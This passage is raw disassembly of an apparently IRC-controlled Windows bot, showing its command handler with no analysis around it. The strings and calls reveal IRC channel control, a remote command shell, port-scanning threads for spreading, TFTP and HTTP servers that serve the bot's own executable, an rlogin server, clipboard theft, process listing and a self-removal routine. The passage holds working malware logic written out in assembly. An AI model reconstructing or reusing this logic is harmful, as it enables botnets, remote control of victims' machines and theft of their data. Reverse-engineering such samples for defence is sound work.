jz short loc_40D4D8
push dword ptr [eax]
loc_40D4A3: ; CODE XREF: sub_409557+3F7Fj
push edi
lea eax, [ebp+Dst]
push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_40B799
; ---------------------------------------------------------------------------
loc_40D4BD: ; CODE XREF: sub_409557+3F36j
push edi
call dword_42EC34 ; gethostbyname
cmp eax, ebx
jz short loc_40D4D8
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_42EC3C ; inet_ntoa
push eax
jmp short loc_40D4A3
; ---------------------------------------------------------------------------
loc_40D4D8: ; CODE XREF: sub_409557+3F48j
; sub_409557+3F6Fj
push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."
loc_40D4DD: ; CODE XREF: sub_409557+35AFj
; sub_409557+3E05j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40B799
; ---------------------------------------------------------------------------
loc_40D4F0: ; CODE XREF: sub_409557+1611j
; sub_409557+1628j
push 7Fh ; Count
push edi ; Source
push [ebp+arg_14] ; Dest
call _strncpy
push edi
lea eax, [ebp+Dst]
push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
push eax ; Dest
call _sprintf
add esp, 18h
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40D515: ; CODE XREF: sub_409557+15E3j
; sub_409557+15FAj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_42EB34
test eax, eax
push edi
jz short loc_40D535
push offset aShellFileOpene ; "[SHELL]: File opened: %s"
jmp loc_40CC81
; ---------------------------------------------------------------------------
loc_40D535: ; CODE XREF: sub_409557+3FD2j
push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
jmp loc_40CC81
; ---------------------------------------------------------------------------
loc_40D53F: ; CODE XREF: sub_409557+15B5j
; sub_409557+15CCj
mov al, [edi]
mov byte_424A60, al
movsx eax, byte ptr [edi]
push eax
push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
jmp loc_40E756
; ---------------------------------------------------------------------------
loc_40D554: ; CODE XREF: sub_409557+1587j
; sub_409557+159Ej
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_40E7D9
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_40E7D9
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40FA38
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
add esp, 1Ch
jmp loc_40CE66
; ---------------------------------------------------------------------------
loc_40D59F: ; CODE XREF: sub_409557+1559j
; sub_409557+1570j
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_4099D2
push edi ; Str
call _atoi
mov esi, 1F4h
pop ecx
cmp eax, esi
jge loc_4099D2
push offset aQuitLater ; "QUIT :later\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax] ; int
call sub_405E1E
pop ecx
pop ecx
push esi
call ds:dword_41B048 ; Sleep
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax]
call dword_42EC48 ; closesocket
push [ebp+var_10]
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_430554[eax]
call ds:dword_41B124 ; TerminateThread
push edi ; Str
call _atoi
imul eax, 234h
push edi ; Str
mov dword_430554[eax], ebx
call _atoi
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_430340[eax], bl
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40D648: ; CODE XREF: sub_409557+152Bj
; sub_409557+1542j
push edi ; Str2
push offset aAll ; "all"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40D677
call sub_411E03
cmp eax, ebx
jle short loc_40D66D
push eax
push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
jmp loc_40B828
; ---------------------------------------------------------------------------
loc_40D66D: ; CODE XREF: sub_409557+4109j
push offset aThreadsNoActiv ; "[THREADS]: No active threads found."
jmp loc_40DFA0
; ---------------------------------------------------------------------------
loc_40D677: ; CODE XREF: sub_409557+4100j
mov eax, [ebp+var_A8]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_4099D2
lea eax, [ebp+edi*4+Str2]
mov [ebp+File], eax
loc_40D693: ; CODE XREF: sub_409557+41ADj
mov eax, [ebp+File]
mov esi, [eax]
cmp esi, ebx
jz loc_4099D2
push esi ; Str
call _atoi
push eax
call sub_411D75
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40D6BA
push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
jmp short loc_40D6BF
; ---------------------------------------------------------------------------
loc_40D6BA: ; CODE XREF: sub_409557+415Aj
push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."
loc_40D6BF: ; CODE XREF: sub_409557+4161j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40D6EF
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40D6EF: ; CODE XREF: sub_409557+417Aj
lea eax, [ebp+Dst]
push eax
call sub_402D63
add [ebp+File], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40D693
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40D70B: ; CODE XREF: sub_409557+14FDj
; sub_409557+1514j
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40E7D9
push esi ; Args
push offset aS_0 ; "%s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push esi
push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s."
jmp loc_40D048
; ---------------------------------------------------------------------------
loc_40D742: ; CODE XREF: sub_409557+14CFj
; sub_409557+14E6j
push edi ; Args
push offset aPartS_0 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push edi
push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
jmp loc_40D048
; ---------------------------------------------------------------------------
loc_40D75B: ; CODE XREF: sub_409557+14A1j
; sub_409557+14B8j
push [ebp+esi+var_8C]
push edi ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push edi
push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
jmp loc_40CF1C
; ---------------------------------------------------------------------------
loc_40D77B: ; CODE XREF: sub_409557+1473j
; sub_409557+148Aj
push edi ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push edi
push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."
jmp loc_40D048
; ---------------------------------------------------------------------------
loc_40D794: ; CODE XREF: sub_409557+1438j
; sub_409557+144Dj
mov al, byte_41F252
mov [ebp+Src], ebx
cmp al, bl
mov edx, offset byte_41F252
jz loc_4099D2
mov ecx, edx
loc_40D7AB: ; CODE XREF: sub_409557+425Cj
inc [ebp+Src]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40D7AB
cmp al, bl
jz loc_4099D2
mov [ebp+Str1], edx
loc_40D7C0: ; CODE XREF: sub_409557+4523j
push 8
call sub_411E82
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+Src]
add eax, ecx
cmp eax, 258h
jle short loc_40D80F
push ecx
lea eax, [ebp+Dst]
push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 20h
jmp loc_40DA71
; ---------------------------------------------------------------------------
loc_40D80F: ; CODE XREF: sub_409557+4283j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_41F090, ebx
mov [ebp+var_304], 0A0h
mov [ebp+var_318], 5
mov [ebp+var_314], ebx
mov [ebp+Src], ebx
jz short loc_40D87C
mov eax, [ebp+Str1]
mov edi, offset dword_41F090
lea esi, [eax-0Ah]
loc_40D846: ; CODE XREF: sub_409557+4307j
lea eax, [edi-28h]
push esi ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40D862
inc [ebp+Src]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_40D846
jmp short loc_40D87C
; ---------------------------------------------------------------------------
loc_40D862: ; CODE XREF: sub_409557+42FDj
mov eax, [ebp+Src]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_41F090[ecx]
mov [ebp+var_31C], ecx
loc_40D87C: ; CODE XREF: sub_409557+42E2j
; sub_409557+4309j
cmp [ebp+var_31C], ebx
jz loc_40DA85
push 10h
lea eax, [ebp+Dest]
pop esi
push eax
lea eax, [ebp+var_2D8]
push eax
mov [ebp+Dest], esi
push [ebp+arg_4]
call dword_42EB5C ; getsockname
mov al, [ebp+var_9B3]
push esi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+Drive], eax
push [ebp+Drive] ; Count
call dword_42EC3C ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_430]
push eax ; Dest
call _strncpy
xor eax, eax
cmp [ebp+var_9B3], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax ; Str
call _strrchr
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+File+3], bl
jle short loc_40D91E
loc_40D8FC: ; CODE XREF: sub_409557+43C5j
cmp eax, ebx
jz short loc_40D91E
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_40D8FC
loc_40D91E: ; CODE XREF: sub_409557+43A3j
; sub_409557+43A7j
mov eax, [ebp+arg_4]
push [ebp+var_8C] ; Format
mov esi, [ebp+var_4]
mov [ebp+var_320], eax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_2F4], eax
lea eax, [ebp+var_420]
push eax ; Dest
mov [ebp+var_2F0], 1
mov [ebp+var_2F8], esi
call __snprintf
mov edi, offset aFf_0 ; "#ff-"
push offset byte_428D64 ; Str2
push edi ; Str1
call _strcmp
add esp, 14h
test eax, eax
jz short loc_40D988
push edi ; Format
lea eax, [ebp+var_3A0]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40D98E
; ---------------------------------------------------------------------------
loc_40D988: ; CODE XREF: sub_409557+4418j
mov [ebp+var_3A0], bl
loc_40D98E: ; CODE XREF: sub_409557+442Fj
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40D9A0
mov eax, offset aSequential ; "Sequential"
loc_40D9A0: ; CODE XREF: sub_409557+4442j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+Dst]
push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_411C3A
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_402A0C
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40DA2A
loc_40DA18: ; CODE XREF: sub_409557+44D1j
cmp [ebp+var_2EC], ebx
jnz short loc_40DA45
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40DA18
; ---------------------------------------------------------------------------
loc_40DA2A: ; CODE XREF: sub_409557+44BFj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40DA45: ; CODE XREF: sub_409557+44C7j
cmp [ebp+var_8], ebx
jnz short loc_40DA64
push ebx ; int
lea eax, [ebp+Dst]
push esi ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40DA64: ; CODE XREF: sub_409557+44F1j
lea eax, [ebp+Dst]
push eax
call sub_402D63
pop ecx
loc_40DA71: ; CODE XREF: sub_409557+42B3j
add [ebp+Str1], 0Bh
mov eax, [ebp+Str1]
cmp [eax], bl
jnz loc_40D7C0
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40DA85: ; CODE XREF: sub_409557+2968j
; sub_409557+432Bj
push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan, port is i"...
jmp loc_40DFA0
; ---------------------------------------------------------------------------
loc_40DA8F: ; CODE XREF: sub_409557+140Ej
; sub_409557+1423j
push 4
call sub_411E82
test eax, eax
pop ecx
jle short loc_40DAA5
push offset aTftpAlreadyRun ; "[TFTP]: Already running."
jmp loc_40ADC3
; ---------------------------------------------------------------------------
loc_40DAA5: ; CODE XREF: sub_409557+4542j
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
jz short loc_40DAC8
push eax ; Format
mov edi, 104h
lea eax, [ebp+var_804]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40DADC
; ---------------------------------------------------------------------------
loc_40DAC8: ; CODE XREF: sub_409557+4557j
mov edi, 104h
lea eax, [ebp+var_804]
push edi
push eax
push ebx
call ds:dword_41B068 ; GetModuleFileNameA
loc_40DADC: ; CODE XREF: sub_409557+456Fj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_40DAEC
mov esi, offset aGvujaleodq_exe ; "gvujaleodq.exe"
loc_40DAEC: ; CODE XREF: sub_409557+458Ej
push esi ; Format
lea eax, [ebp+var_700]
push edi ; Count
push eax ; Dest
call __snprintf
mov eax, dword_424A48
push 7Fh ; Count
push [ebp+var_8C] ; Source
mov [ebp+var_5F4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5F8], ebx
mov [ebp+var_808], eax
lea eax, [ebp+var_5F0]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_700]
push eax
lea eax, [ebp+var_804]
push eax
lea eax, [ebp+Dst]
push [ebp+var_5F4]
push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 4 ; int
push eax ; Source
call sub_411C3A
add esp, 38h
mov [ebp+var_5FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_808]
push ebx
push eax
push offset sub_411743
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_5FC]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40DBBC
loc_40DBA6: ; CODE XREF: sub_409557+4663j
cmp [ebp+var_568], ebx
jnz loc_40CA4B
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40DBA6
; ---------------------------------------------------------------------------
loc_40DBBC: ; CODE XREF: sub_409557+464Dj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "...
jmp loc_40E756
; ---------------------------------------------------------------------------
loc_40DBCD: ; CODE XREF: sub_409557+13E4j
; sub_409557+13F9j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_40DBEC
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_40DBEC
push edi ; Str
call _atoi
pop ecx
jmp short loc_40DBF1
; ---------------------------------------------------------------------------
loc_40DBEC: ; CODE XREF: sub_409557+467Fj
; sub_409557+468Aj
mov eax, dword_424A4C
loc_40DBF1: ; CODE XREF: sub_409557+4693j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_584], eax
xor eax, eax
cmp [ebp+var_9B0], bl
setz al
cmp esi, ebx
mov [ebp+var_570], eax
jz short loc_40DC24
lea eax, [ebp+var_688]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_40DC4F
; ---------------------------------------------------------------------------
loc_40DC24: ; CODE XREF: sub_409557+46BAj
lea eax, [ebp+FullPath]
push 104h
push eax
call ds:dword_41B098 ; GetSystemDirectoryA
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
add esp, 14h
loc_40DC4F: ; CODE XREF: sub_409557+46CBj
lea eax, [ebp+var_688]
push eax ; Str
call _strlen
cmp [ebp+eax+var_689], 5Ch
pop ecx
jnz short loc_40DC7A
lea eax, [ebp+var_688]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_689], bl
loc_40DC7A: ; CODE XREF: sub_409557+470Dj
push [ebp+var_8C] ; Format
mov esi, [ebp+arg_4]
lea eax, [ebp+var_910]
mov [ebp+var_914], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_688]
mov [ebp+var_578], edi
push eax
push [ebp+var_584]
push esi
call sub_408401
pop ecx
push eax
lea eax, [ebp+Dst]
push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 3 ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov [ebp+var_57C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_914]
push ebx
push eax
push offset sub_404771
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_57C]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40DD32
loc_40DD1C: ; CODE XREF: sub_409557+47D9j
cmp [ebp+var_568], ebx
jnz loc_40DE81
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40DD1C
; ---------------------------------------------------------------------------
loc_40DD32: ; CODE XREF: sub_409557+47C3j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"...
jmp loc_40DE72
; ---------------------------------------------------------------------------
loc_40DD43: ; CODE XREF: sub_409557+13BAj
; sub_409557+13CFj
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_40DD62
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_40DD62
push edi ; Str
call _atoi
pop ecx
jmp short loc_40DD67
; ---------------------------------------------------------------------------
loc_40DD62: ; CODE XREF: sub_409557+47F5j
; sub_409557+4800j
mov eax, dword_424A50
loc_40DD67: ; CODE XREF: sub_409557+4809j
mov [ebp+var_580], eax
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jnz short loc_40DD7E
lea eax, [ebp+var_C4]
loc_40DD7E: ; CODE XREF: sub_409557+481Fj
push eax ; Format
lea eax, [ebp+var_6C0]
push 40h ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jnz short loc_40DDA0
mov esi, offset byte_428D64
loc_40DDA0: ; CODE XREF: sub_409557+4842j
push esi ; Format
lea eax, [ebp+var_680]
push 100h ; Count
push eax ; Dest
call __snprintf
push [ebp+var_8C] ; Format
lea eax, [ebp+var_740]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_56C], eax
lea eax, [ebp+var_6C0]
push eax
mov [ebp+var_744], esi
push [ebp+var_580]
mov [ebp+var_570], edi
push esi
call sub_408401
pop ecx
push eax
lea eax, [ebp+Dst]
push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 6 ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov [ebp+var_57C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_744]
push ebx
push eax
push offset sub_40F445
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_57C]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40DE66
loc_40DE54: ; CODE XREF: sub_409557+490Dj
cmp [ebp+var_568], ebx
jnz short loc_40DE81
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40DE54
; ---------------------------------------------------------------------------
loc_40DE66: ; CODE XREF: sub_409557+48FBj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...
loc_40DE72: ; CODE XREF: sub_409557+2E82j
; sub_409557+2F7Cj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40DE81: ; CODE XREF: sub_409557+2E66j
; sub_409557+2F60j ...
cmp [ebp+var_8], ebx
jnz loc_40B858
push ebx
push edi
loc_40DE8C: ; CODE XREF: sub_409557+272Cj
lea eax, [ebp+Dst]
push eax
push [ebp+var_8C]
push esi
jmp loc_40B850
; ---------------------------------------------------------------------------
loc_40DE9F: ; CODE XREF: sub_409557+1390j
; sub_409557+13A5j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_40DEB2
push esi ; Str
call _atoi
jmp short loc_40DEB9
; ---------------------------------------------------------------------------
loc_40DEB2: ; CODE XREF: sub_409557+4951j
push 8
call sub_411EA1
loc_40DEB9: ; CODE XREF: sub_409557+4959j
cmp eax, ebx
pop ecx
jz loc_40E7D9
push eax ; int
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_40226C
loc_40DED4: ; CODE XREF: sub_409557+4DFCj
add esp, 10h
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40DEDC: ; CODE XREF: sub_409557+1366j
; sub_409557+137Bj
mov eax, dword_42EAEC
cmp eax, ebx
jz short loc_40DEF9
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_40DEF2
push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed."
jmp short loc_40DF0E
; ---------------------------------------------------------------------------
loc_40DEF2: ; CODE XREF: sub_409557+4992j
push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache."
jmp short loc_40DF0E
; ---------------------------------------------------------------------------
loc_40DEF9: ; CODE XREF: sub_409557+498Cj
push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll."
jmp short loc_40DF0E
; ---------------------------------------------------------------------------
loc_40DF00: ; CODE XREF: sub_409557+133Cj
; sub_409557+1351j
call sub_408323
test eax, eax
jz short loc_40DF24
push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed."
loc_40DF0E: ; CODE XREF: sub_409557+4999j
; sub_409557+49A0j ...
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_40CC8D
; ---------------------------------------------------------------------------
loc_40DF24: ; CODE XREF: sub_409557+49B0j
push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache."
jmp short loc_40DF0E
; ---------------------------------------------------------------------------
loc_40DF2B: ; CODE XREF: sub_409557+1312j
; sub_409557+1327j
cmp [ebp+var_8], ebx
jnz short loc_40DF4A
push ebx ; int
push [ebp+var_4] ; int
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40DF4A: ; CODE XREF: sub_409557+49D7j
push ebx ; int
push [ebp+var_4] ; int
call sub_4070C7
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
push offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
jmp loc_40E222
; ---------------------------------------------------------------------------
loc_40DF6C: ; CODE XREF: sub_409557+1232j
; sub_409557+1247j
push 7
call sub_411E82
test eax, eax
pop ecx
jle short loc_40DF7F
push offset aCmdRemoteShell ; "[CMD]: Remote shell already running."
jmp short loc_40DFA0
; ---------------------------------------------------------------------------
loc_40DF7F: ; CODE XREF: sub_409557+4A1Fj
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40F002
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40DF9B
push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
jmp short loc_40DFA0
; ---------------------------------------------------------------------------
loc_40DF9B: ; CODE XREF: sub_409557+4A3Bj
push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready."
loc_40DFA0: ; CODE XREF: sub_409557+24C9j
; sub_409557+25F9j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40B837
; ---------------------------------------------------------------------------
loc_40DFB3: ; CODE XREF: sub_409557+1208j
; sub_409557+121Dj
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_406AE8
jmp loc_40E240
; ---------------------------------------------------------------------------
loc_40DFCC: ; CODE XREF: sub_409557+11DEj
; sub_409557+11F3j
push dword ptr [ebp+esi+Args] ; int
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_403D46
jmp loc_40E240
; ---------------------------------------------------------------------------
loc_40DFE9: ; CODE XREF: sub_409557+11B4j
; sub_409557+11C9j
or edi, 0FFFFFFFFh
call ds:dword_41B078 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+Src], eax
jz short loc_40E012
push esi ; Str
call _atoi
pop ecx
mov edi, eax
loc_40E012: ; CODE XREF: sub_409557+4AB0j
mov eax, [ebp+Src]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40E02B
cmp edi, 0FFFFFFFFh
jnz loc_40E7D9
loc_40E02B: ; CODE XREF: sub_409557+4AC9j
push ebx
call sub_410D66
push eax
lea eax, [ebp+Dst]
push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
lea eax, [ebp+Dst]
push eax
call sub_402D63
jmp loc_40C20E
; ---------------------------------------------------------------------------
loc_40E06D: ; CODE XREF: sub_409557+118Aj
; sub_409557+119Fj
push 1Eh
call sub_411E82
test eax, eax
pop ecx
jle short loc_40E0A1
cmp [ebp+var_8], ebx
jnz loc_4099D2
push ebx ; int
push [ebp+var_4] ; int
push offset aProcAlreadyRun ; "[PROC]: Already running."
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40E0A1: ; CODE XREF: sub_409557+4B20j
push [ebp+var_8C] ; Format
lea eax, [ebp+var_4DC]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_450], eax
mov [ebp+var_458], ebx
jz short loc_40E102
push esi ; Str2
push offset aFull ; "full"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40E102
mov [ebp+var_458], 1
loc_40E102: ; CODE XREF: sub_409557+4B8Ej
; sub_409557+4B9Fj
lea eax, [ebp+Dst]
push offset aProcsProccessL ; "[PROCS]: Proccess list."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Eh ; int
push eax ; Source
call sub_411C3A
add esp, 14h
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_408AE3
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40E170
loc_40E15A: ; CODE XREF: sub_409557+4C17j
cmp [ebp+var_44C], ebx
jnz loc_40B858
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40E15A
; ---------------------------------------------------------------------------
loc_40E170: ; CODE XREF: sub_409557+4C01j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset aProcsFailedT_0 ; "[PROCS]: Failed to start listing thread"...
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_40B858
; ---------------------------------------------------------------------------
loc_40E190: ; CODE XREF: sub_409557+1160j
; sub_409557+1175j
cmp [ebp+var_8], ebx
jnz short loc_40E1AF
push ebx ; int
push [ebp+var_4] ; int
push offset aMainRemovingBo ; "[MAIN]: Removing Bot."
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
